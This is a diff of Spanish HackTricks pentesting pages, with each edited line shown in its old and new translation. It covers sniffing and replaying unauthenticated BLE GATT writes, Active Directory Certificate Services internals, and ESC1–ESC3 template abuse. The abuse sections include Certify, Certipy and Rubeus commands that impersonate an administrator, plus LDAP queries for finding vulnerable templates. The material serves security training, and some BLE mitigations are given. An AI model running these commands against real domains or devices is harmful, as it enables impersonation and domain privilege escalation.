Muchos periféricos BLE de bajo costo no aplican pairing/bonding. Sin bonding, el Link Layer encryption nunca se activa, por lo que el tráfico ATT/GATT va en claro. Un sniffer off-path puede seguir la conexión, decodificar operaciones GATT para obtener los handles y valores de las características, y cualquier host cercano puede entonces conectarse y reproducir esas escrituras para controlar el dispositivo.
|
||||
Muchos periféricos BLE de bajo costo no aplican pairing/bonding. Sin bonding, la encriptación del Link Layer nunca se habilita, por lo que el tráfico ATT/GATT queda en cleartext. Un sniffer off-path puede seguir la conexión, decodificar operaciones GATT para obtener los characteristic handles y valores, y cualquier host cercano puede entonces conectarse y reproducir esas writes para controlar el dispositivo.
|
||||
|
||||
### Sniffing con Sniffle (CC26x2/CC1352)
|
||||
|
||||
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) reflasheado con el firmware Sniffle de NCC Group.
|
||||
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) reflasheado con el Sniffle firmware de NCC Group.
|
||||
|
||||
Instalar Sniffle y su extcap de Wireshark en Linux:
|
||||
Instalar Sniffle y su Wireshark extcap en Linux:
|
||||
```bash
|
||||
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
|
||||
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
|
||||
@ -91,7 +91,7 @@ else
|
||||
echo "[+] - Sniffle already installed at 1.10.0"
|
||||
fi
|
||||
```
|
||||
Flashear Sonoff con el firmware Sniffle (asegúrate de que tu dispositivo serie coincida, p. ej. /dev/ttyUSB0):
|
||||
Flashear Sonoff con el firmware Sniffle (asegúrate de que tu dispositivo serial coincida, p. ej. /dev/ttyUSB0):
|
||||
```bash
|
||||
pushd /opt/sniffle/
|
||||
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
|
||||
@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
|
||||
deactivate
|
||||
popd
|
||||
```
|
||||
Captura en Wireshark con el extcap Sniffle y pivot rápidamente a escrituras que cambian el estado filtrando:
|
||||
Captura en Wireshark vía el extcap Sniffle y cambia rápidamente a escrituras que modifican el estado filtrando:
|
||||
```text
|
||||
_ws.col.info contains "Sent Write Command"
|
||||
```
|
||||
Esto resalta los ATT Write Commands desde el cliente; el handle y el value a menudo se corresponden directamente con acciones del dispositivo (p. ej., write 0x01 a una buzzer/alert characteristic, 0x00 para detener).
|
||||
Esto resalta los ATT Write Commands del client; el handle y el value a menudo se corresponden directamente con acciones del dispositivo (p. ej., write 0x01 a una buzzer/alert characteristic, 0x00 para detener).
|
||||
|
||||
Sniffle CLI ejemplos rápidos:
|
||||
Ejemplos rápidos de Sniffle CLI:
|
||||
```bash
|
||||
python3 scanner.py --output scan.pcap
|
||||
# Only devices with very strong signal
|
||||
@ -118,16 +118,16 @@ python3 scanner.py --rssi -40
|
||||
# Filter advertisements containing a string
|
||||
python3 sniffer.py --string "banana" --output sniff.pcap
|
||||
```
|
||||
Alternativa sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin también funciona. En dongles Nordic pequeños/baratos normalmente sobrescribes el USB bootloader para cargar el sniffer firmware, así que o mantienes un dongle sniffer dedicado o necesitas un J-Link/JTAG para restaurar el bootloader más tarde.
|
||||
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
|
||||
|
||||
### Control activo vía GATT
|
||||
|
||||
Una vez que hayas identificado un handle de característica escribible y el valor en el tráfico sniffed, conéctate como cualquier central y emite la misma escritura:
|
||||
Una vez que hayas identificado un writable characteristic handle y value a partir del sniffed traffic, conéctate como cualquier central y realiza la misma write:
|
||||
|
||||
- Con Nordic nRF Connect for Desktop (BLE app):
|
||||
- Selecciona el dongle nRF52/nRF52840, escanea y conéctate al objetivo.
|
||||
- Navega la base de datos GATT, localiza la característica objetivo (a menudo tiene un nombre amigable, p. ej., Alert Level).
|
||||
- Realiza un Write con los bytes sniffed (p. ej., 01 para activar, 00 para detener).
|
||||
- Explora la GATT database, localiza la target characteristic (a menudo tiene un friendly name, p. ej., Alert Level).
|
||||
- Realiza un Write con los sniffed bytes (p. ej., 01 para activar, 00 para parar).
|
||||
|
||||
- Automatiza en Windows con un dongle Nordic usando Python + blatann:
|
||||
```python
|
||||
@ -171,9 +171,9 @@ ble_device.close()
|
||||
```
|
||||
### Notas operativas y mitigaciones
|
||||
|
||||
- Prefiere Sonoff+Sniffle en Linux para un cambio de canal robusto y seguimiento de conexiones. Mantén un Nordic sniffer de repuesto como respaldo.
|
||||
- Sin pairing/bonding, cualquier atacante cercano puede observar writes y reproducir/forjar los suyos hacia características escribibles no autenticadas.
|
||||
- Mitigaciones: exigir pairing/bonding y aplicar cifrado; configurar permisos de característica para requerir authenticated writes; minimizar características escribibles no autenticadas; validar GATT ACLs con Sniffle/nRF Connect.
|
||||
- Prefiera Sonoff+Sniffle en Linux para un cambio de canal robusto y el seguimiento de conexiones. Mantenga un sniffer Nordic de repuesto como respaldo.
|
||||
- Sin pairing/bonding, cualquier atacante cercano puede observar escrituras y reproducir/forjar las suyas hacia características escribibles no autenticadas.
|
||||
- Mitigaciones: exigir pairing/bonding y aplicar cifrado; establecer permisos de las características para requerir escrituras autenticadas; minimizar las características escribibles no autenticadas; validar GATT ACLs con Sniffle/nRF Connect.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -4,102 +4,102 @@
|
||||
|
||||
## Introducción
|
||||
|
||||
### Componentes de un Certificado
|
||||
### Componentes de un certificado
|
||||
|
||||
- El **Subject** del certificado indica su propietario.
|
||||
- Una **Public Key** está emparejada con una clave privada para vincular el certificado con su propietario legítimo.
|
||||
- Una **Public Key** está emparejada con una clave privada para vincular el certificado con su legítimo propietario.
|
||||
- El **Validity Period**, definido por las fechas **NotBefore** y **NotAfter**, marca la duración efectiva del certificado.
|
||||
- Un **Serial Number** único, proporcionado por la Autoridad de Certificación (CA), identifica cada certificado.
|
||||
- El **Issuer** se refiere a la CA que ha emitido el certificado.
|
||||
- **SubjectAlternativeName** permite nombres adicionales para el sujeto, mejorando la flexibilidad de identificación.
|
||||
- Un **Serial Number** único, proporcionado por la Certificate Authority (CA), identifica cada certificado.
|
||||
- El **Issuer** se refiere a la CA que emitió el certificado.
|
||||
- **SubjectAlternativeName** permite nombres adicionales para el subject, aumentando la flexibilidad de identificación.
|
||||
- **Basic Constraints** identifican si el certificado es para una CA o una entidad final y definen restricciones de uso.
|
||||
- **Extended Key Usages (EKUs)** delimitan los propósitos específicos del certificado, como code signing o email encryption, mediante Object Identifiers (OIDs).
|
||||
- El **Signature Algorithm** especifica el método para firmar el certificado.
|
||||
- La **Signature**, creada con la clave privada del emisor, garantiza la autenticidad del certificado.
|
||||
- La **Signature**, creada con la clave privada del issuer, garantiza la autenticidad del certificado.
|
||||
|
||||
### Consideraciones Especiales
|
||||
### Consideraciones especiales
|
||||
|
||||
- **Subject Alternative Names (SANs)** amplían la aplicabilidad de un certificado a múltiples identidades, crucial para servidores con múltiples dominios. Procesos de emisión seguros son vitales para evitar riesgos de suplantación por parte de atacantes que manipulen la especificación SAN.
|
||||
|
||||
### Autoridades de Certificación (CAs) en Active Directory (AD)
|
||||
### Certificate Authorities (CAs) en Active Directory (AD)
|
||||
|
||||
AD CS reconoce certificados de CA en un bosque de Active Directory mediante contenedores designados, cada uno con roles únicos:
|
||||
AD CS reconoce certificados de CA en un forest de AD mediante contenedores designados, cada uno con roles específicos:
|
||||
|
||||
- **Certification Authorities** container contiene certificados de CA raíz de confianza.
|
||||
- **Enrolment Services** container detalla Enterprise CAs y sus certificate templates.
|
||||
- **NTAuthCertificates** object incluye certificados de CA autorizados para autenticación en AD.
|
||||
- **AIA (Authority Information Access)** container facilita la validación de la cadena de certificados con certificados intermedios y cross CA.
|
||||
- El contenedor **Certification Authorities** almacena certificados de root CA de confianza.
|
||||
- El contenedor **Enrolment Services** detalla las Enterprise CAs y sus certificate templates.
|
||||
- El objeto **NTAuthCertificates** incluye certificados de CA autorizados para autenticación en AD.
|
||||
- El contenedor **AIA (Authority Information Access)** facilita la validación de la cadena de certificados con certificados intermedios y cross CA.
|
||||
|
||||
### Adquisición de Certificados: Flujo de Solicitud de Certificado del Cliente
|
||||
### Adquisición de certificados: Flujo de solicitud de certificado
|
||||
|
||||
1. El proceso de solicitud comienza con que los clientes encuentren una Enterprise CA.
|
||||
2. Se crea un CSR que contiene una clave pública y otros detalles, después de generar un par de claves pública-privada.
|
||||
3. La CA evalúa el CSR contra los certificate templates disponibles, emitiendo el certificado según los permisos de la plantilla.
|
||||
1. El proceso de solicitud comienza con los clientes buscando una Enterprise CA.
|
||||
2. Se crea un CSR, que contiene una public key y otros detalles, tras generar un par de claves pública-privada.
|
||||
3. La CA evalúa el CSR frente a los certificate templates disponibles, emitiendo el certificado según los permisos de la plantilla.
|
||||
4. Tras la aprobación, la CA firma el certificado con su clave privada y lo devuelve al cliente.
|
||||
|
||||
### Certificate Templates
|
||||
|
||||
Definidas dentro de AD, estas plantillas delinean la configuración y permisos para emitir certificados, incluidos los EKUs permitidos y los derechos de enrollment o modificación, críticos para gestionar el acceso a los servicios de certificado.
|
||||
Definidas dentro de AD, estas plantillas describen las configuraciones y permisos para emitir certificados, incluyendo EKUs permitidos y derechos de enrollment o modificación, críticos para gestionar el acceso a los servicios de certificados.
|
||||
|
||||
## Certificate Enrollment
|
||||
## Inscripción de certificados
|
||||
|
||||
El proceso de enrollment para certificados es iniciado por un administrador que **crea un certificate template**, y luego es **publicado** por una Enterprise Certificate Authority (CA). Esto hace la plantilla disponible para el enrollment de clientes, un paso logrado añadiendo el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory.
|
||||
El proceso de inscripción de certificados lo inicia un administrador que **crea un certificate template**, el cual es **publicado** por una Enterprise Certificate Authority (CA). Esto hace la plantilla disponible para el enrollment de clientes, un paso que se logra añadiendo el nombre de la plantilla al campo `certificatetemplates` de un objeto de Active Directory.
|
||||
|
||||
Para que un cliente solicite un certificado, deben concederse **enrollment rights**. Estos derechos están definidos por los security descriptors en el certificate template y en la propia Enterprise CA. Los permisos deben concederse en ambas ubicaciones para que una solicitud sea exitosa.
|
||||
Para que un cliente solicite un certificado, deben concederse **enrollment rights**. Estos derechos se definen mediante security descriptors en el certificate template y en la Enterprise CA misma. Deben concederse permisos en ambos lugares para que la solicitud tenga éxito.
|
||||
|
||||
### Template Enrollment Rights
|
||||
### Derechos de inscripción de la plantilla
|
||||
|
||||
Estos derechos se especifican mediante Access Control Entries (ACEs), detallando permisos como:
|
||||
|
||||
- **Certificate-Enrollment** y **Certificate-AutoEnrollment**, cada uno asociado con GUIDs específicos.
|
||||
- **ExtendedRights**, permitiendo todos los permisos extendidos.
|
||||
- **FullControl/GenericAll**, proporcionando control completo sobre la plantilla.
|
||||
- Los derechos **Certificate-Enrollment** y **Certificate-AutoEnrollment**, cada uno asociado con GUIDs específicos.
|
||||
- **ExtendedRights**, que permiten todos los permisos extendidos.
|
||||
- **FullControl/GenericAll**, que proporcionan control completo sobre la plantilla.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
### Derechos de inscripción de la Enterprise CA
|
||||
|
||||
Los derechos de la CA se describen en su security descriptor, accesible vía la consola de administración de la Certificate Authority. Algunas configuraciones incluso permiten que usuarios con pocos privilegios accedan de forma remota, lo cual podría ser un problema de seguridad.
|
||||
Los derechos de la CA están descritos en su security descriptor, accesible a través de la consola de administración Certificate Authority. Algunas configuraciones incluso permiten que usuarios de bajos privilegios accedan de forma remota, lo que puede ser una preocupación de seguridad.
|
||||
|
||||
### Controles Adicionales de Emisión
|
||||
### Controles adicionales de emisión
|
||||
|
||||
Pueden aplicarse ciertos controles, como:
|
||||
|
||||
- **Manager Approval**: Coloca las solicitudes en estado pendiente hasta que sean aprobadas por un certificate manager.
|
||||
- **Enrolment Agents and Authorized Signatures**: Especifican el número de firmas requeridas en un CSR y los Application Policy OIDs necesarios.
|
||||
- **Manager Approval**: coloca las solicitudes en estado pendiente hasta que un certificate manager las apruebe.
|
||||
- **Enrolment Agents and Authorized Signatures**: especifican el número de firmas requeridas en un CSR y los Application Policy OIDs necesarios.
|
||||
|
||||
### Métodos para Solicitar Certificados
|
||||
### Métodos para solicitar certificados
|
||||
|
||||
Los certificados pueden solicitarse a través de:
|
||||
Los certificados se pueden solicitar a través de:
|
||||
|
||||
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), usando interfaces DCOM.
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), a través de named pipes o TCP/IP.
|
||||
3. La interfaz web de certificate enrollment, con el rol Certificate Authority Web Enrollment instalado.
|
||||
4. El **Certificate Enrollment Service** (CES), junto con el servicio **Certificate Enrollment Policy** (CEP).
|
||||
2. **ICertPassage Remote Protocol** (MS-ICPR), mediante named pipes o TCP/IP.
|
||||
3. La **certificate enrollment web interface**, con el rol Certificate Authority Web Enrollment instalado.
|
||||
4. El **Certificate Enrollment Service** (CES), en conjunto con el servicio Certificate Enrollment Policy (CEP).
|
||||
5. El **Network Device Enrollment Service** (NDES) para dispositivos de red, usando el Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Los usuarios de Windows también pueden solicitar certificados vía la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando `Get-Certificate` de PowerShell).
|
||||
Los usuarios de Windows también pueden solicitar certificados vía la GUI (`certmgr.msc` o `certlm.msc`) o herramientas de línea de comandos (`certreq.exe` o el comando Get-Certificate de PowerShell).
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Autenticación de certificados
|
||||
## Autenticación con certificados
|
||||
|
||||
Active Directory (AD) admite la autenticación mediante certificados, utilizando principalmente los protocolos **Kerberos** y **Secure Channel (Schannel)**.
|
||||
|
||||
### Proceso de autenticación Kerberos
|
||||
|
||||
En el proceso de autenticación Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma usando la **clave privada** del certificado del usuario. Dicha solicitud pasa por varias validaciones por parte del controlador de dominio, incluyendo la **validez**, la **ruta** y el **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado proviene de una fuente de confianza y confirmar la presencia del emisor en el **NTAUTH certificate store**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, ubicado en:
|
||||
En el proceso de autenticación Kerberos, la solicitud de un usuario para un Ticket Granting Ticket (TGT) se firma usando la **clave privada** del certificado del usuario. Esta solicitud pasa por varias validaciones realizadas por el controlador de dominio, incluyendo la **validez**, la **ruta** y el **estado de revocación** del certificado. Las validaciones también incluyen verificar que el certificado provenga de una fuente de confianza y confirmar la presencia del emisor en el **almacén de certificados NTAUTH**. Las validaciones exitosas resultan en la emisión de un TGT. El objeto **`NTAuthCertificates`** en AD, ubicado en:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
es fundamental para establecer la confianza en la autenticación mediante certificados.
|
||||
es central para establecer la confianza para la autenticación mediante certificados.
|
||||
|
||||
### Secure Channel (Schannel) Authentication
|
||||
### Autenticación de Secure Channel (Schannel)
|
||||
|
||||
Schannel facilita conexiones TLS/SSL seguras, donde durante el handshake, el cliente presenta un certificado que, si se valida correctamente, autoriza el acceso. El mapeo de un certificado a una cuenta de AD puede implicar la función de Kerberos **S4U2Self** o el **Subject Alternative Name (SAN)** del certificado, entre otros métodos.
|
||||
Schannel facilita conexiones TLS/SSL seguras, donde durante un handshake, el cliente presenta un certificado que, si se valida correctamente, autoriza el acceso. El mapeo de un certificado a una cuenta de AD puede involucrar la función **S4U2Self** de Kerberos o el **Subject Alternative Name (SAN)** del certificado, entre otros métodos.
|
||||
|
||||
### AD Certificate Services Enumeration
|
||||
### Enumeración de AD Certificate Services
|
||||
|
||||
Los servicios de certificados de AD pueden enumerarse mediante consultas LDAP, revelando información sobre las **Enterprise Certificate Authorities (CAs)** y sus configuraciones. Esto es accesible por cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se usan para la enumeración y la evaluación de vulnerabilidades en entornos AD CS.
|
||||
Los servicios de certificados de AD pueden enumerarse mediante consultas LDAP, revelando información sobre **Enterprise Certificate Authorities (CAs)** y sus configuraciones. Esto es accesible para cualquier usuario autenticado en el dominio sin privilegios especiales. Herramientas como **[Certify](https://github.com/GhostPack/Certify)** y **[Certipy](https://github.com/ly4k/Certipy)** se usan para la enumeración y la evaluación de vulnerabilidades en entornos AD CS.
|
||||
|
||||
Los comandos para usar estas herramientas incluyen:
|
||||
```bash
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Escalada de Dominio en AD CS
|
||||
# AD CS Domain Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -9,27 +9,27 @@
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## Plantillas de Certificado Mal Configuradas - ESC1
|
||||
## Misconfigured Certificate Templates - ESC1
|
||||
|
||||
### Explicación
|
||||
|
||||
### Plantillas de Certificado Mal Configuradas - ESC1 Explicadas
|
||||
### Misconfigured Certificate Templates - ESC1 Explained
|
||||
|
||||
- **Los derechos de inscripción son otorgados a usuarios con pocos privilegios por la Enterprise CA.**
|
||||
- **No se requiere aprobación del gerente.**
|
||||
- **Se conceden derechos de enrolamiento a usuarios de bajo privilegio por la Enterprise CA.**
|
||||
- **No se requiere aprobación de un manager.**
|
||||
- **No se necesitan firmas de personal autorizado.**
|
||||
- **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, lo que permite a usuarios con pocos privilegios obtener derechos de inscripción.**
|
||||
- **Los descriptores de seguridad en las plantillas de certificado son excesivamente permisivos, permitiendo que usuarios de bajo privilegio obtengan derechos de enrolamiento.**
|
||||
- **Las plantillas de certificado están configuradas para definir EKUs que facilitan la autenticación:**
|
||||
- Identificadores de Extended Key Usage (EKU) como Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), o sin EKU (SubCA) están incluidos.
|
||||
- **La posibilidad de que los solicitantes incluyan un subjectAltName en la Certificate Signing Request (CSR) está permitida por la plantilla:**
|
||||
- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que, al especificar el SAN en una CSR, se puede solicitar un certificado para suplantar a cualquier usuario (p. ej., un administrador de dominio). Si un solicitante puede especificar un SAN está indicado en el objeto de la plantilla de certificado en AD mediante la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite que el solicitante especifique el SAN.
|
||||
- **La plantilla permite que los solicitantes incluyan un subjectAltName en el Certificate Signing Request (CSR):**
|
||||
- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un domain administrator). Si un solicitante puede especificar un SAN queda indicado en el objeto AD de la plantilla de certificado mediante la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia del flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por parte del solicitante.
|
||||
|
||||
> [!CAUTION]
|
||||
> La configuración descrita permite a usuarios con pocos privilegios solicitar certificados con cualquier SAN que elijan, lo que posibilita la autenticación como cualquier principal del dominio mediante Kerberos o SChannel.
|
||||
> La configuración descrita permite a usuarios de bajo privilegio solicitar certificados con cualquier SAN a elección, habilitando la autenticación como cualquier principal del dominio vía Kerberos o SChannel.
|
||||
|
||||
Esta funcionalidad a veces se habilita para permitir la generación sobre la marcha de certificados HTTPS o de host por productos o servicios de despliegue, o por falta de comprensión.
|
||||
Esta característica a veces se habilita para soportar la generación on-the-fly de certificados HTTPS o de host por productos o servicios de despliegue, o por falta de comprensión.
|
||||
|
||||
Se observa que crear un certificado con esta opción genera una advertencia, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada) y luego se modifica para incluir un OID de autenticación.
|
||||
Se observa que crear un certificado con esta opción genera una advertencia, lo cual no ocurre cuando se duplica una plantilla de certificado existente (como la plantilla `WebServer`, que tiene `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitado) y luego se modifica para incluir un OID de autenticación.
|
||||
|
||||
### Abuso
|
||||
|
||||
@ -54,64 +54,64 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Entonces puedes convertir el **certificado generado al formato `.pfx`** y usarlo para **autenticarse usando Rubeus o certipy** nuevamente:
|
||||
Entonces puedes convertir el certificado generado al formato **`.pfx`** y usarlo para **autenticarte con Rubeus o certipy** de nuevo:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Los binarios de Windows "Certreq.exe" y "Certutil.exe" pueden usarse para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Los binarios de Windows "Certreq.exe" y "Certutil.exe" se pueden usar para generar el PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
La enumeración de plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación ni firmas, que poseen un EKU Client Authentication o Smart Card Logon, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, puede realizarse ejecutando la siguiente consulta LDAP:
|
||||
La enumeración de las plantillas de certificados dentro del esquema de configuración del bosque de AD, específicamente aquellas que no requieren aprobación ni firmas, que poseen una EKU de Client Authentication o Smart Card Logon, y con la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` habilitada, puede realizarse ejecutando la siguiente consulta LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
## Misconfigured Certificate Templates - ESC2
|
||||
|
||||
### Explanation
|
||||
|
||||
El segundo escenario de abuso es una variación del primero:
|
||||
|
||||
1. Enrollment rights son concedidos a usuarios con pocos privilegios por la Enterprise CA.
|
||||
2. El requisito de aprobación del manager está deshabilitado.
|
||||
3. La necesidad de firmas autorizadas se omite.
|
||||
4. Un security descriptor demasiado permisivo en la plantilla de certificado concede derechos de enrollment de certificados a usuarios con pocos privilegios.
|
||||
5. **La plantilla de certificado está definida para incluir el Any Purpose EKU o ningún EKU.**
|
||||
|
||||
El **Any Purpose EKU** permite que un atacante obtenga un certificado para **cualquier propósito**, incluyendo client authentication, server authentication, code signing, etc. La misma **technique used for ESC3** puede emplearse para explotar este escenario.
|
||||
|
||||
Los certificados con **no EKUs**, que actúan como certificados de CA subordinada, pueden ser explotados para **cualquier propósito** y **también pueden usarse para firmar nuevos certificados**. Por lo tanto, un atacante podría especificar EKUs arbitrarios o campos en los nuevos certificados utilizando un certificado de CA subordinada.
|
||||
|
||||
Sin embargo, los nuevos certificados creados para **domain authentication** no funcionarán si la CA subordinada no es confiable por el objeto **`NTAuthCertificates`**, que es la configuración por defecto. No obstante, un atacante aún puede crear **nuevos certificados con cualquier EKU** y valores de certificado arbitrarios. Estos podrían ser potencialmente **abusados** para una amplia gama de propósitos (p. ej., code signing, server authentication, etc.) y podrían tener implicaciones significativas para otras aplicaciones en la red como SAML, AD FS o IPSec.
|
||||
|
||||
Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del Forest de AD, se puede ejecutar la siguiente consulta LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Misconfigured Enrolment Agent Templates - ESC3
|
||||
## Plantillas de certificados mal configuradas - ESC2
|
||||
|
||||
### Explicación
|
||||
|
||||
Este escenario es similar al primero y al segundo pero **abusando** de un **EKU diferente** (Certificate Request Agent) y **2 plantillas distintas** (por lo tanto tiene 2 conjuntos de requisitos),
|
||||
El segundo escenario de abuso es una variación del primero:
|
||||
|
||||
1. Se conceden derechos de enrollment a usuarios de bajo privilegio por el Enterprise CA.
|
||||
2. Se desactiva el requisito de aprobación por parte del responsable.
|
||||
3. Se omite la necesidad de firmas autorizadas.
|
||||
4. Un descriptor de seguridad excesivamente permisivo en la plantilla de certificado concede derechos de enrollment de certificados a usuarios de bajo privilegio.
|
||||
5. **La plantilla de certificado está definida para incluir el Any Purpose EKU o no EKU.**
|
||||
|
||||
El **Any Purpose EKU** permite que un atacante obtenga un certificado para **cualquier propósito**, incluyendo client authentication, server authentication, code signing, etc. Se puede emplear la misma **técnica usada para ESC3** para explotar este escenario.
|
||||
|
||||
Los certificados con **no EKUs**, que actúan como certificados de CA subordinada, pueden ser explotados para **cualquier propósito** y **también pueden usarse para firmar nuevos certificados**. Por lo tanto, un atacante podría especificar EKUs arbitrarios o campos en los nuevos certificados utilizando un certificado de CA subordinada.
|
||||
|
||||
Sin embargo, los nuevos certificados creados para **domain authentication** no funcionarán si la CA subordinada no está confiada por el objeto **`NTAuthCertificates`**, que es la configuración por defecto. No obstante, un atacante aún puede crear **nuevos certificados con cualquier EKU** y valores de certificado arbitrarios. Estos podrían ser potencialmente **abusados** para una amplia gama de propósitos (por ejemplo, code signing, server authentication, etc.) y podrían tener implicaciones significativas para otras aplicaciones en la red como SAML, AD FS, o IPSec.
|
||||
|
||||
Para enumerar las plantillas que coinciden con este escenario dentro del esquema de configuración del AD Forest, se puede ejecutar la siguiente consulta LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Plantillas de Enrollment Agent mal configuradas - ESC3
|
||||
|
||||
### Explicación
|
||||
|
||||
Este escenario es similar al primero y al segundo pero **abusando** de un **EKU diferente** (Certificate Request Agent) y **2 plantillas diferentes** (por lo tanto tiene 2 conjuntos de requisitos),
|
||||
|
||||
El **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Enrollment Agent** en la documentación de Microsoft, permite a un principal **solicitar** un **certificado** en **nombre de otro usuario**.
|
||||
|
||||
El **“enrollment agent”** se inscribe en dicha **plantilla** y usa el **certificado resultante para co-firmar un CSR en nombre del otro usuario**. Luego **envía** el **CSR co-firmado** a la CA, inscribiéndose en una **plantilla** que **permite “enroll on behalf of”**, y la CA responde con un **certificado perteneciente al “otro” usuario**.
|
||||
El **“enrollment agent”** solicita una **plantilla** de ese tipo y usa el **certificado resultante para co-firmar una CSR en nombre del otro usuario**. Luego **envía** la **CSR co-firmada** a la CA, inscribiéndose en una **plantilla** que **permite “enroll on behalf of”**, y la CA responde con un **certificado perteneciente al “otro” usuario**.
|
||||
|
||||
**Requisitos 1:**
|
||||
|
||||
- La Enterprise CA concede derechos de enrollment a usuarios de bajo privilegio.
|
||||
- Se omite el requisito de aprobación del manager.
|
||||
- La Enterprise CA otorga derechos de inscripción a usuarios de bajo privilegio.
|
||||
- Se omite el requisito de aprobación del gerente.
|
||||
- No hay requisito de firmas autorizadas.
|
||||
- El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de enrollment a usuarios de bajo privilegio.
|
||||
- La plantilla de certificado incluye el Certificate Request Agent EKU, habilitando la solicitud de otras plantillas de certificado en nombre de otros principales.
|
||||
- El descriptor de seguridad de la plantilla de certificado es excesivamente permisivo, otorgando derechos de inscripción a usuarios de bajo privilegio.
|
||||
- La plantilla de certificado incluye el Certificate Request Agent EKU, permitiendo la solicitud de otras plantillas de certificado en nombre de otros principals.
|
||||
|
||||
**Requisitos 2:**
|
||||
|
||||
